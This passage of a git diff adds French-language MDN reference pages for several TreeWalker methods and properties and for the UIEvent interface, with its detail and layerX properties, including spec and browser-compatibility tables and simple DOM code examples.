+++ b/files/fr/web/api/treewalker/previousnode/index.html
@@ -0,0 +1,113 @@
+---
+title: TreeWalker.previousNode()
+slug: Web/API/TreeWalker/previousNode
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/TreeWalker/previousNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La méthode <strong><code>TreeWalker.previousNode()</code></strong> déplace le {{domxref("Node")}} courant vers le noeud précédent <em>visible</em> dans l'ordre du document et renvoie le noeud trouvé. Elle déplace aussi le noeud courant vers celui-ci. S'il n'en existe aucun ou s'il est avant le <em>noeud racine</em> défini lors de la construction de l'objet, elle renvoie <code>null</code> et le noeud actuel n'est pas changé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>treeWalker</em>.previousNode();
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+var node = treeWalker.previousNode(); // renvoie null car il n'y a pas de parent
+
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-previousnode', 'TreeWalker.previousNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-previousNode', 'TreeWalker.previousNode')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/previoussibling/index.html b/files/fr/web/api/treewalker/previoussibling/index.html
new file mode 100644
index 0000000000..69b99d3c6d
--- /dev/null
+++ b/files/fr/web/api/treewalker/previoussibling/index.html
@@ -0,0 +1,113 @@
+---
+title: TreeWalker.previousSibling()
+slug: Web/API/TreeWalker/previousSibling
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/TreeWalker/previousSibling
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La méthode <strong><code>TreeWalker.previousSibling()</code></strong> déplace le {{domxref("Node")}} courant vers son frère précédent, le cas échéant, et renvoie le frère trouvé. S'il n'y en a pas, elle renvoie <code>null</code> et le noeud actuel est inchangé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>treeWalker</em>.previousSibling();
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+var node = treeWalker.previousSibling(); // renvoie null car il n'y a pas de frère précédent
+
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-previoussibling', 'TreeWalker.previousSibling')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-previousSibling', 'TreeWalker.previousSibling')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/root/index.html b/files/fr/web/api/treewalker/root/index.html
new file mode 100644
index 0000000000..e79e7344be
--- /dev/null
+++ b/files/fr/web/api/treewalker/root/index.html
@@ -0,0 +1,111 @@
+---
+title: TreeWalker.root
+slug: Web/API/TreeWalker/root
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/TreeWalker/root
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propriété en lecture seule <code><strong>TreeWalker.root</strong></code> renvoie le noeud qui est la racine de ce que TreeWalker doit traverser.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>root</em> = TreeWalker.root;</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+root = treeWalker.root; // document.body dans ce cas
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-root', 'TreeWalker.root')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-root', 'TreeWalker.root')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}}.</li>
+</ul>
diff --git a/files/fr/web/api/treewalker/whattoshow/index.html b/files/fr/web/api/treewalker/whattoshow/index.html
new file mode 100644
index 0000000000..c37d4f996c
--- /dev/null
+++ b/files/fr/web/api/treewalker/whattoshow/index.html
@@ -0,0 +1,143 @@
+---
+title: TreeWalker.whatToShow
+slug: Web/API/TreeWalker/whatToShow
+tags:
+  - API
+  - DOM
+  - Propriété
+  - Reference
+translation_of: Web/API/TreeWalker/whatToShow
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule <code><strong>TreeWalker.whatToShow</strong></code> renvoie un <code>unsigned long</code> (<em>non signé long</em>) qui est un masque constitué de constantes décrivant les types de {{domxref("Node")}} à présenter. Les noeuds ne correspondant pas sont ignorés, mais leurs enfants peuvent être inclus s'ils sont pertinents. Les valeurs possibles sont :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante
+   </th><th scope="col">Valeur numérique
+   </th><th scope="col">Description
+  </th></tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>NodeFilter.SHOW_ALL</code></td>
+   <td><code>-1</code> (c'est la valeur numérique maximale du <code>unsigned long</code> (<em>non signé long</em>))</td>
+   <td>Affiche tous les noeuds.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+   <td><code>2</code></td>
+   <td>Affiche l'attribut {{domxref("Attr")}} des noeuds. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Attr")}} comme racine ; dans ce cas, cela signifie que le nœud d'attribut apparaîtra dans la première position de l'itération ou de la traversée. Comme les attributs ne sont jamais des enfants d'autres nœuds, ils n'apparaissent pas lors de la traversée de l'arbre du document.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+   <td><code>8</code></td>
+   <td>Affiche les noeuds {{domxref("CDATASection")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_COMMENT</code></td>
+   <td><code>128</code></td>
+   <td>Affiche les noeuds {{domxref("Comment")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+   <td><code>256</code></td>
+   <td>Affiche les noeuds {{domxref("Document")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+   <td><code>1024</code></td>
+   <td>Affiche les noeuds {{domxref("DocumentFragment")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+   <td><code>512</code></td>
+   <td>Affiche les noeuds {{domxref("DocumentType")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+   <td><code>1</code></td>
+   <td>Affiche les noeuds {{domxref("Element")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+   <td><code>32</code></td>
+   <td>Affiche les noeuds {{domxref("Entity")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{ domxref("Entity") }} comme racine ; dans ce cas, il signifie que le noeud d'entité {{domxref("Entity") }} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+   <td><code>16</code></td>
+   <td>Affiche les noeuds {{domxref("EntityReference")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+   <td><code>2048</code></td>
+   <td>Affiche les noeuds {{domxref("Notation")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Notation")}} comme racine ; dans ce cas, il signifie que le noeud {{domxref("Notation")}} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+   <td><code>64</code></td>
+   <td>Affiche les noeuds {{domxref("ProcessingInstruction")}}.</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.SHOW_TEXT</code></td>
+   <td><code>4</code></td>
+   <td>Affiche les noeuds {{domxref("Text")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>nodeTypes</em> = treeWalker.whatToShow;</pre>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT + NodeFilter.SHOW_COMMENT + NodeFilter.SHOW_TEXT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+if( (treeWalker.whatToShow == NodeFilter.SHOW_ALL) ||
+    (treeWalker.whatToShow % (NodeFilter.SHOW_COMMENT*2)) &gt;= NodeFilter.SHOW_COMMENT) {
+    // treeWalker affichera des commentaires
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-whattoshow', 'TreeWalker.whatToShow')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-whatToShow', 'TreeWalker.whatToShow')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.TreeWalker.whatToShow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TreeWalker")}}.</li>
+</ul>
diff --git a/files/fr/web/api/uievent/detail/index.html b/files/fr/web/api/uievent/detail/index.html
new file mode 100644
index 0000000000..633be9d943
--- /dev/null
+++ b/files/fr/web/api/uievent/detail/index.html
@@ -0,0 +1,47 @@
+---
+title: UIEvent.detail
+slug: Web/API/UIEvent/detail
+tags:
+  - API
+  - DOM
+  - Propriété
+  - Reference
+translation_of: Web/API/UIEvent/detail
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>UIEvent.detail</code> </strong>est une propriété en lecture seule, qui, lorsqu'elle ne vaut pas zéro, donne le nombre de clics courant (ou suivant en fonction de l'événement).</p>
+
+<p>Pour les événements {{event("click")}} ou {{event("dblclick")}}, <code>UIEvent.detail</code> donne le nombre de clics courant.</p>
+
+<p>Pour les événements {{event("mousedown")}} ou {{event("mouseup")}}, <code>UIEvent.detail</code> donne le nombre de clics courant <em>plus</em> un.</p>
+
+<p>Pour tous les autres objets {{domxref("UIEvent")}}, <code>UIEvent.detail</code> vaut toujours zéro.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-UIEvent-detail','UIEvent.detail')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-UIEvent-detail','UIEvent.detail')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Première définition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.UIEvent.detail")}}</p>
diff --git a/files/fr/web/api/uievent/index.html b/files/fr/web/api/uievent/index.html
new file mode 100644
index 0000000000..342b6ae2e3
--- /dev/null
+++ b/files/fr/web/api/uievent/index.html
@@ -0,0 +1,109 @@
+---
+title: UIEvent
+slug: Web/API/UIEvent
+tags:
+  - API
+  - DOM
+  - Event
+  - Evènement
+  - Interface
+  - Reference
+  - UIEvent
+translation_of: Web/API/UIEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><span class="seoSummary">L'interface <strong><code>UIEvent</code></strong> représente des évènements simples de l'interface utilisateur.</span></p>
+
+<p><code>UIEvent</code> dérive de {{domxref("Event")}}. Bien que la méthode {{domxref("UIEvent.initUIEvent()")}}  soit conservée pour la compatibilité ascendante, vous devez créer un objet <code>UIEvent</code> en utilisant le constructeur {{domxref("UIEvent.UIEvent", "UIEvent()")}}.</p>
+
+<p>Plusieurs interfaces descendent directement ou indirectement de celle-ci : {{domxref("MouseEvent")}}, {{domxref("FocusEvent")}}, {{domxref("KeyboardEvent")}}, {{domxref("WheelEvent")}}, {{domxref("InputEvent")}} et {{domxref("CompositionEvent")}}.</p>
+
+<h2 id="Constructeurs">Constructeurs</h2>
+
+<dl>
+ <dt>{{domxref("UIEvent.UIEvent()", "UIEvent()")}}</dt>
+ <dd>Crée un objet <code>UIEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite également des propriétés de son parent {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("UIEvent.cancelBubble")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>{{jsxref("Boolean")}} <em>(booléen)</em> indiquant si les conséquences de l'évènement ont été annulées ou non.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("UIEvent.detail")}}{{readonlyinline}}</dt>
+ <dd>Retourne un <code>long</code> qui donne quelques détails sur l'évènement, dépendant du type d'évènement.</dd>
+ <dt>{{domxref("UIEvent.isChar")}} {{obsolete_inline}} {{readonlyinline}}</dt>
+ <dd>Retourne un {{jsxref("Boolean")}} indiquant si l'évènement a produit un caractère clé ou non.</dd>
+ <dt>{{domxref("UIEvent.layerX")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Retourne la coordonnée horizontale de l'évènement par rapport à la couche actuelle.</dd>
+ <dt>{{domxref("UIEvent.layerY")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Retourne la coordonnée verticale de l'évènement par rapport à la couche actuelle.</dd>
+ <dt>{{domxref("UIEvent.pageX")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Retourne la coordonnée horizontale de l'évènement par rapport à l'ensemble du document.</dd>
+ <dt>{{domxref("UIEvent.pageY")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Retourne la coordonnée verticale de l'évènement par rapport à l'ensemble du document.</dd>
+ <dt>{{domxref("UIEvent.sourceCapabilities")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Retourne une instance de l'interface <code>InputDeviceCapabilities</code> qui fournit des informations sur le périphérique physique responsable de l'évènement.</dd>
+ <dt>{{domxref("UIEvent.view")}}{{readonlyinline}}</dt>
+ <dd>Retourne un {{domxref("WindowProxy")}} qui contient la vue de la génération de l'évènement.</dd>
+ <dt>{{domxref("UIEvent.which")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Retourne l'identifiant <code>keyCode</code> de la touche pressée, ou le code du caractère (<code>charCode</code>) pour une touche alphanumérique enfoncée.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite également des méthodes de son parent, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("UIEvent.initUIEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Initialise un objet <code>UIEvent</code>. <span id="result_box" lang="fr"><span>Si l'évènement a déjà été envoyé, cette méthode ne fait rien.</span></span></dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('InputDeviceCapabilities')}}</td>
+   <td>{{Spec2('InputDeviceCapabilities')}}</td>
+   <td>Ajoute la propriété <code>sourceCapabilities</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td>Extension de DOM3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Ajoute le constructeur <code>UIEvent()</code>, déprécie la méthode <code>initUIEvent()</code> et change le type de <code>view</code> de <code>AbstractView</code> vers <code>WindowProxy</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.UIEvent")}}</p>
+
+<h2 class="editable" id="Voir_aussi"><span>Voir aussi</span></h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li>{{ domxref("Event") }}</li>
+</ul>
diff --git a/files/fr/web/api/uievent/layerx/index.html b/files/fr/web/api/uievent/layerx/index.html
new file mode 100644
index 0000000000..85dffefb61
--- /dev/null
+++ b/files/fr/web/api/uievent/layerx/index.html
@@ -0,0 +1,154 @@
+---
+title: event.layerX
+slug: Web/API/UIEvent/layerX
+tags:
+  - API
+  - DOM
+  - Propriété
+  - Reference
+  - UIEvent
+  - lecture seule
+translation_of: Web/API/UIEvent/layerX
+---
+<p>{{APIRef("DOM Events")}} {{Non-standard_header}}</p>
+
+<p>La propriété en lecture seule <code><strong>UIEvent.layerX</strong></code> retourne la coordonnée horizontale de l'évènement relativement à la couche en cours.</p>
+
+<p>Cette propriété prend en compte le défilement de la page, et retourne une valeur relative à l'ensemble du document, à moins que l'évènement ne se soit produit à l'intérieur d'un élément positionné, auquel cas la valeur retournée est relative au coin supérieur gauche de l'élément positionné.</p>
+
+<h2 id="Syntax" name="Syntax"><strong>Syntaxe</strong></h2>
+
+<pre>var <em>posx</em> = <em>event</em>.layerX</pre>
+
+<ul>
+ <li><em><code>posx</code></em> est une valeur entière en pixels pour la coordonnée x du pointeur de la souris, lorsque l'évènement souris est déclenché.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax"><strong>Exemples</strong></h2>
+
+<pre class="eval">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Exemple pageX\pageY &amp; layerX\layerY&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function montrerCoords(evt){
+  var form = document.forms.form_coords;
+  var parent_id = evt.target.parentNode.id;
+  form.parentId.value = parent_id;
+  form.pageXCoords.value = evt.pageX;
+  form.pageYCoords.value = evt.pageY;
+  form.layerXCoords.value = evt.layerX;
+  form.layerYCoords.value = evt.layerY;
+}
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+
+ #d1 {
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d2 {
+  position: absolute;
+  top: 180px;
+  left: 80%;
+  right:auto;
+  width: 40%;
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d3 {
+  position: absolute;
+  top: 240px;
+  left: 20%;
+  width: 50%;
+  border: solid blue 1px;
+  padding: 10px;
+ }
+
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="montrerCoords(event)"&gt;
+
+&lt;p&gt;Pour afficher les coordonnées de la souris, veuillez cliquer quelque part sur la page.&lt;/p&gt;
+
+&lt;div id="d1"&gt;
+&lt;span&gt;Cette div n'est pas positionnée : cliquer dedans renverra des valeurs layerX/layerY identiques à celles de pageX/PageY.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d2"&gt;
+
+&lt;span&gt;Cette div est positionnée : cliquer dedans renverra des valeurs layerX/layerY
+relatives à son coin supérieur. Notez que les valeurs de pageX\pageY sont toujours relatives au document, ce qui inclue le défilement dans la page.&lt;/span&gt;
+
+&lt;span&gt;Un peu de défilement ! C'est un div positionné : le clic renverra des valeurs layerX/layerY relative à son coin supérieur gauche. Notez que les valeurs de pageX\pageY sont toujours relatives au document, ce qui inclue le défilement dans la page.&lt;/span&gt;
+
+&lt;/div&gt;
+
+&lt;div id="d3"&gt;
+&lt;form name="form_coords" id="form1"&gt;
+ Id de l'élément parent : &lt;input type="text" name="parentId" size="7" /&gt;&lt;br /&gt;
+ pageX:&lt;input type="text" name="pageXCoords" size="7" /&gt;
+ pageY:&lt;input type="text" name="pageYCoords" size="7" /&gt;&lt;br /&gt;
+ layerX:&lt;input type="text" name="layerXCoords" size="7" /&gt;
+ layerY:&lt;input type="text" name="layerYCoords" size="7" /&gt;
+&lt;/form&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><em>Cette propriété ne fait partie d'aucune spécification.</em></p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
